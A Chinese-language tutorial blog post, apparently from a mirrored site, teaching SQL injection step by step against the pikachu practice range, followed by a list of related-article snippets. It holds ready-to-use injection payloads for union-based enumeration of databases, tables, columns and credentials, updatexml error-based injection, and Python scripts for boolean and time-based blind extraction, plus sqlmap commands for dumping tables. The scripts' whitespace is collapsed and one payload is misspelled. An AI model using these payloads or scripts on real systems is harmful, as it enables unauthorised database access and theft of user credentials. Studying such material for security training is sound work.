SQL注入从0到1

article/2025/9/16 21:53:31

目录

前言:

1.【入门】普通查询型注入:

1.0 实验环境:

1.1进行一次普通的查询:

1.2 进行注入得到用户信息:

1.2.1 执行注入:

1.2.2 注入语句分析:

1.3 整型注入与字符型注入区别:

2.【进阶】从库到列逐步注入:

2.1 预备知识:

2.1.1 union函数:

2.1.2 order by函数:

2.1.3 information_schema 库:

2.2 注入实战:

2.2.1 查字段数:

2.2.2 查数据库名:

2.2.3 查库中所有的表名:

2.2.4 查表中所有的列名:

2.2.5 根据字段查询表中信息:

2.2.6 总结:

3.【高阶】 利用报错语句注入:

3.1 有关函数:

3.1.1 extractvalue()

3.1.2 updatexml()

3.2 注入实战

4.【高阶】布尔盲注:

4.1 什么是布尔盲注:

4.2 布尔盲注示例:

4.3 布尔盲注脚本:

5.【高阶】时间盲注:

5.1 什么是时间盲注:

5.2 时间盲注示例:

5.3 时间盲注脚本:

6.【附加】Sqlmap使用:

6.1 什么是sqlmap:

6.2 基本使用方法:


前言:

  SQL注入漏洞OWASP Top 10漏洞之一,指黑客通过将恶意的SQL语句插入到Web应用程序的输入参数中,进而使后台的数据库服务器受到攻击的行为。这种漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行,从而导致数据库受损,用户隐私及机密数据遭到泄露

1.【入门】普通查询型注入:

1.0 实验环境:

用于实验的表为:

f14b704ea6f948eb9e3479694ef21b3f.png

假设后台查询语句为:

select password from users where id='$GET['id']';

分析语句可得,该语句会根据我们GET方式提交的参数 id  提交到数据库中查询id列中与提交的id参数相等的一行中password列所对应的值

1.1进行一次普通的查询:

语句为:

select password from users where id='tom';这里我们提交的id参数为tom,也就是所在表中查询tom的password

结果为:

 显而易见,我们查找出了tom的password

c9f0a3afef9a4f57b27856b99283422b.png

1.2 进行注入得到用户信息:

1.2.1 执行注入:

注入语句为:

select password from users where id='tom' or 1=1;#';#我们传入的 id 为  tom' or 1=1;#

结果为:

我们可以看到爆出了所有的用户信息

43a86437eafa4b82ba97432e12057c9d.png

1.2.2 注入语句分析:

我们给后台传入的id值为:

tom' or 1=1;#

后台形成查询语句为:

select password from users where id='tom' or 1=1;#';

红色的单引号为查询语句自带的,橙色单引号为我们传入的

  • 可以看到第一个红色单引号与我们传入的单引号进行了配对,而第二个红色单引号者被我们传入的#号注释在外面(在sql语句中#号起注释作用),然后 tom由于被我们传入的单引号提前闭合,形成第一个查询条件
  • or 代表逻辑运算符,代表或
  • 第二个查询条件为:1=1 这条语句的结果永远为真(1永远等于1)

分析到这里,查询语句可简化为:

select password from users where id='tom' or True;

可以理解为 id='tom' 或 为真

也就是说id只要还有存在的值,那么语句便会一直查找下去(id等于该列中任何一个值结果都为True)

1.3 整型注入与字符型注入区别:

上文所描述的注入实例为字符型,在实战环境中往往也会出现字符型

两种查询语句对比如下:

select password from users where id='$GET['id']'; #字符型
我们可以看到传入的参数在单引号中,故为字符型,因为字符串要被单引号括住select password from users where id=$GET['id'];  #整型
我们可以看到传入的参数两边无单引号,故为整型

遇到字符型注入时,不需要构造引号闭合(因为后台语句没有单引号),只须最后用引号注释掉后面即可

2.【进阶】从库到列逐步注入:

   一般存在查询型注入,我们不只可以查询所有的同类型信息,还可以查询到数据库的版本、名称,及其所有的表、字段信息

2.1 预备知识:

2.1.1 union函数:

对前后两个select语句进行并集操作,不包括重复行,同时进行默认规则的排序;需要前后两个select语句查询的字段数相同,我们可以根据此函数自定义一个select语句,用来查询我们想要的信息

2.1.2 order by函数:

此函数后面跟数字,指的是根据 select 后面查询的列进行分组、排序等,1 代表第一个列,2代表第二个列,依次类推,如果我们所输入的数字大于select后所查询的列数,那么就会返回失败,所以我们可以通过不断改变后面的数字来确定前select语句所查询的字段数

2.1.3 information_schema 库:

这是 MySQL 自带的信息数据库,用于存储数据库元数据(关于数据库的数据),例如数据库名、表名、列的数据类型、访问权限等。我们可在information_schema.tables这个表中查到该数据库的所有表

 该内容表如下

c1427f3294df434da0821ebcea826f8f.png

2.2 注入实战:

这里以pikachu靶场为例

2.2.1 查字段数:

xx' order by 2#2不报错,3报错,说明后台查询字段数为2,我们拼凑的查询语句字段数也应为2

结果为:

ad9d97198ebd4755ad3ca1a80402c6a2.pnge4db4ad7ca374ee3b4478f9f04c38259.png

2.2.2 查数据库名:

xx' union select database(),1# database()为MySQL的一个环境变量,代表当前数据库1是用来凑数的,因为前面的select语句为2个字段

或者

xxx' union select 1,group_concat(schema_name) from information_schema.schemata#这个是通过information_schema库(下文有讲),查询当前用户所有数据库

结果为:

 02268952c340437fa9a060db1f993255.png

2.2.3 查库中所有的表名:

  • 这里用到了information_schema库tables表,里面有所有数据库内表的信息
xx' union select 1,table_name from information_schema.tables where table_schema="pikachu"#

  结果为:

9f7a244bf03941c2a5868196bf7508d8.png

2.2.4 查表中所有的列名:

  • 这里用到了information_schema库columns表,里面有所有表内列的信息
1' union select 1,column_name from information_schema.columns where table_name= "users"#

结果为: 

 042778576108466f93a4acbbbdd45e36.png

2.2.5 根据字段查询表中信息

xx' union select username,password from users#

 结果为: 

 586df1b00bc54841b6b6b687daf42a94.png

2.2.6 总结:

  • 我们首先爆出了当前数据库名,然后又爆出了该数据库所有的表名,又选取users表,爆出了其中大的列名,最后通过union查询出了username,password列的信息

3.【高阶】 利用报错语句注入:

在某些环境下,我们不止可以通过select语句进行注入,还以通过报错语句进行注入,利用报错语句带出数据

3.1 有关函数:

3.1.1 extractvalue()

格式为:

extractvalue(xml_document,XPath_string)

xml_document:一个包含XML文档的字符串

XPath_string:一个XPath表达式,用于定位需要提取的值

  • 如果参数信息对应的xml文件路径不存在,那么就会以报错的形式返回错误的路径,我们可以令路径参数为查询语句,这样就会以报错的形式返回查询语句的结果 

3.1.2 updatexml()

格式为:

格式为
updatexml(xml_document,XPath_string,new_value)
xml_document:一个包含XML文档的字符串,
XPath_string:一个XPath表达式,用于定位需要修改的节点
new_value:要替换为的新值。

  • 该函数性质与上个相同,路径不对就会报错,利用方式也与上个相同

3.2 注入实战

同样以pikachu靶场为例

payload:

xx' and updatexml(1,datebase(),0)#

 我们可以看到爆出了数据库名( 这里仅以查询数据库名为例,步骤与上文类似,替换XPath_string参数为对应查寻语句即可)

9cc8c384d0ec41159ccff33f1d541956.png

4.【高阶】布尔盲注:

4.1 什么是布尔盲注:

布尔盲注是一种SQL注入技术,它基于真和假的逻辑判断。攻击者通过构造一些布尔表达式,并根据页面显示的不同响应来判断是否注入成功

4.2 布尔盲注示例:

例如pikachu这一关:在输入信息不存在时,会返回相同的一句话

013fc62153424581af4e41f7627be445.png

我们可通过返回的信息,判断注入真假

4.3 布尔盲注脚本:

  • 该脚本的原理是使用 and 逻辑运算符 将查询为真的条件,和我们按照ASCII表逐一爆破的库名,表名等连接在一起只有都为真时,才会返回成功查询的标志(手工注入几乎不可能,太费时间,大部分情况都使用脚本)
//该脚本只能爆出数据库名,爆其他信息手动更改payload即可import requests
url="xxxx/?id="
flag=''for i in range(1,10):print(i)low=32high=128mid=(low+high)//2while low<high:payload="1' and ascii(substr(database(),%d,1))>%d--+"%(i,mid)r=requests.get(url=url+payload)if "You are in" in r.text:low=mid+1else:high=midmid=(low+high)//2if(mid==32):breakflag=flag+chr(mid)print(flag)

5.【高阶】时间盲注:

5.1 什么是时间盲注:

时间盲注是一种基于时间的SQL注入攻击技术。在某些情况下,页面会只有一种返回结果,无法通过正常的方式判断是否注入成功,这时,攻击者可以利用延时函数如sleep()benchmark()等,在SQL语句中加入等待一定时间的命令,根据页面的响应时间来判断条件是否正确

5.2 时间盲注示例:

例如pikachu这一关: 当我们输入不存在的用户名时,只会返回同样的一句话

c61a3d3cda104d2b91abd5dc8ec02866.png

 无论我们传入的数据是否存在,返回结果均相同,所以我们要通过响应时间判断注入对错

5.3 时间盲注脚本:

  •  根据实际场景修改url以及payload即可使用,脚本原理与布尔盲注脚本相似
该脚本只能爆出数据库名,爆其他信息手动更改payload即可import time
import requests
flag=""
session=requests.Session()
url="xxx/?id="for i in range(1,100):print(i)low=32high=128mid=(low+high)//2while low<high:payload = "1' and if(ascii(substr(database(),%d,1))>%d,sleep(1),1)--+"%(i,mid)stat_time = time.time()r = session.get(url=url+payload)end_time = time.time()t = end_time - stat_timeif t > 1:low = mid + 1else:high = midmid = (low + high)//2if mid==32:breakflag=flag+chr(mid)print(flag)

6.【附加】Sqlmap使用:

6.1 什么是sqlmap:

  sqlmap是一款开源的自动化SQL注入工具,可以用于检测和利用Web应用程序中的SQL注入漏洞,并获取数据库的敏感信息。该工具支持多种数据库类型(如MySQL、Oracle、PostgreSQL等)和操作系统(如Windows、Linux等)官网下载链接

6.2 基本使用方法:

sqlmap -u  "http://www.xx.com?id=x"    查询是否存在注入点--dbs        检测站点包含哪些数据库--current-db       获取当前的数据库名--tables -D  "db_name"  获取指定数据库中的表名--columns  -T  "table_name"  -D  "db_name"     获取数据库表中的字段--dump -C  "columns_name"  -T "table_name"  -D  "db_name"     获取指定列的数据内容


http://chatgpt.dhexx.cn/article/4aAI1KOb.shtml

相关文章

web渗透之sql注入

博主姓名&#xff1a;摆烂阳 博主主页面链接&#xff1a;传送门 新人入圈&#xff0c;希望博主的内容可以给大家带来帮助&#xff0c;有任何问题可以私信本人 摆烂阳从不摆烂滴 目录 一、前言二、实验准备三、sql注入检测方法1、数字型检测2、字符型检测3、搜索型检测和xx型检测…

SQL注入——入门篇

SQL 注入的定义 所谓SQL注入&#xff0c;就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串&#xff0c;最终达到欺骗服务器执行恶意的SQL命令。 —— [ 百度百科 ] 网页链接存在参数传递&#xff0c;后台并没有对用户的输入进行过滤&#xff0c;导致用户的…

什么是SQL注入攻击?SQL注入攻击的危害以及防护

用户打开一个输入框&#xff0c;可以输入任何内容&#xff0c;包括SQL语句。如果网站开发者&#xff0c;没有对用户输入的内容&#xff0c;进行判断和过滤&#xff0c;那么这些语句将被执行。攻击者可以在管理员毫不知情的情况下&#xff0c;对数据库服务器进行操作。 SQL注入攻…

SQL注入分类,一看你就明白了。SQL注入点/SQL注入类型/SQL注入有几种/SQL注入点分类

「作者主页」&#xff1a;士别三日wyx 「作者简介」&#xff1a;CSDN top200、阿里云博客专家、华为云享专家、网络安全领域优质创作者 SQL注入分类 一、数值型注入二、字符型注入1&#xff09;单引号字符型注入2&#xff09;双引号字符型注入3&#xff09;带有括号的注入a. 数…

什么是SQL注入?

有人的地方就有江湖&#xff0c;有数据库存在的地方就可能存在 SQL 注入漏洞。 什么是SQL 注入&#xff1f; SQL 注入是一种非常常见的数据库攻击手段&#xff0c;SQL 注入漏洞也是网络世界中最普遍的漏洞 之一。大家也许都听过某某学长通过攻击学校数据库修改自己成绩的事情…

sql注入攻击的原理(sql注入攻击防范)

SQL 注入&#xff08;SQLi&#xff09;是一种可执行恶意 SQL 语句的注入攻击。这些 SQL 语句可控制网站背后的数据库服务。攻击者可利用 SQL 漏洞绕过网站已有的安全措施。他们可绕过网站的身份认证和授权并访问整个 SQL 数据库的数据。他们也可利用 SQL 注入对数据进行增加、修…

SQL注入的一般过程

SQL注入的一般过程 概述SQL注入的步骤一道例题总结 概述 SQL注入是指web应用程序对用户输入数据的合法性没有判断或过滤不严&#xff0c;攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句&#xff0c;在管理员不知情的情况下实现非法操作&#xff0c;以…

细说——SQL注入

目录 SQL是什么&#xff1f;什么是SQL注入漏洞原理漏洞原因为什么会有SQL注入注⼊点可能存在的位置漏洞危害提交方法判断注入点判断字符型还是数字型sql注入绕过获取网站路径SQL 注入读写文件1. 数据库支持文件读写2. 当前用户具有文件权限3. 知道文件绝对路径 查询方式及报错盲…

什么是SQL注入

什么是sql注入&#xff1f; 既然你会来看这篇文章&#xff0c;说明你和写这篇文章时的我一样&#xff0c;是个安全小白。不管你是以何种原因想要了解“什么是sql注入”&#xff0c;我都希望这篇文章尽可能地会给你一点收获。 两个通俗的概念 SQL 注入就是指 web应用程序对用户…

SQL注入(一)—— sql手动注入实操

SQL SQL注入sql 注入的核心 SQL 手注的一般流程判断注入点 —— 第一步判断字段数 —— 第二步判断回显点 —— 第三步查询相关内容 —— 第四步判断库名判断表名判断列名查询具体信息 总结 SQL注入 SQL注入攻击是目前web应用网络攻击中最常见的手段之一&#xff0c;曾被冠以 “…

【SQL注入-01】SQL语句基础及SQL注入漏洞原理及分类

目录 1 SQL注入概述1.1 SQL注入简介1.2 SQL注入原理&#xff08;掌握&#xff09;1.3 SQL注入漏洞的危害&#xff08;掌握&#xff09; 2 SQL注入漏洞分类2.1 注入位置分类&#xff08;掌握&#xff09;2.2 注入数据类型分类&#xff08;掌握&#xff09;2.3 注入手法分类&…

SQL注入详解(全网最全,万字长文)

漏洞原因 一些概念&#xff1a; SQL&#xff1a;用于数据库中的标准数据查询语言。 web分为前端和后端&#xff0c;前端负责进行展示&#xff0c;后端负责处理来自前端的请求并提供前端展示的资源。 而数据库就是存储资源的地方。 而服务器获取数据的方法就是使用SQL语句进…

sql注入基础原理(超详细)

一、Sql注入简介 Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中&#xff0c;再在后台 Sql 服务器上解析执行进行的攻击&#xff0c;它目前黑客对数据库进行攻击的最常用手段之一。 二、Web 程序三层架构 三层架构(3-tier architecture) 通常意义上就…

数据库存储过程语法

mysql 5.0存储过程学习总结 一.创建存储过程 1.基本语法&#xff1a; create procedure sp_name() begin ……… end 2.参数传递 二.调用存储过程 1.基本语法&#xff1a;call sp_name() 注意&#xff1a;存储过程名称后面必须加括号&#xff0c;哪怕该存储过程没有参数传递…

存储过程语法--变量

目录 实例演示 定义默认值并使用 定义赋值再使用 定义2变量&#xff0c;通过查询表内数据进行赋值并使用 定义变量declare 变量名 数据类型 [default 默认值];变量赋值方式一set 变量名 变量值;变量赋值方式二select 列名 into 变量名 from 表名 [where 条件]; 实例演示 定义…

mysql 5.0存储过程(包括语法,符号)

一.创建存储过程 1.基本语法&#xff1a; create procedure sp_name() begin ……… end 2.参数传递 二.调用存储过程 1.基本语法&#xff1a;call sp_name() 注意&#xff1a;存储过程名称后面必须加括号&#xff0c;哪怕该存储过程没有参数传递 三.删除存储过程 1.基本语法&a…

Oracle存储过程语法学习

Oracle存储过程&#xff1a; 1.1 第一个存储过程 --创建存储过程 create or replace procedure proc1( p_para1 varchar2, p_para2 out varchar2, p_para3 in out varchar2 )as v_name varchar2(20); begin v_name : 张三; p_para3 : v_name; …

sql存储过程语法详解

一、定义变量 使用关键字declare申明变量&#xff1a; declare 变量名 变量类型 /*简单赋值*/declare a intset a5print a/*select赋值*/declare b nvarchar(10) select b stu_name from dbo.student where stu_id6 print b/*update赋值*/declare c nvarchar(10) upd…

MySQL常用操作之创建存储过程语法详解

MySQL常用操作之创建存储过程语法详解 前言简介语法创建结构变量结构入参变量和出参变量流程控制判断(IF 语句)判断(CASE 语句)循环(LOOP 语句)循环(WHILE 语句)循环(REPEAT 语句)再次循环(ITERATE 语句) 总结参考链接 前言 场景介绍 作为一名Java搬运工&#xff0c;实际开发中…

Oracle 存储过程语法

Oracle 存储过程语法 1. 创建表&#xff08;测试数据准备&#xff09; -- 创建用户表 create table TT_USER (USERID NUMBER(10),USERNAME VARCHAR2(255),PASSWORD VARCHAR2(255),SEX VARCHAR2(1) );INSERT INTO TT_USER VALUES (101, zhang, 111, 1); INSERT INTO TT…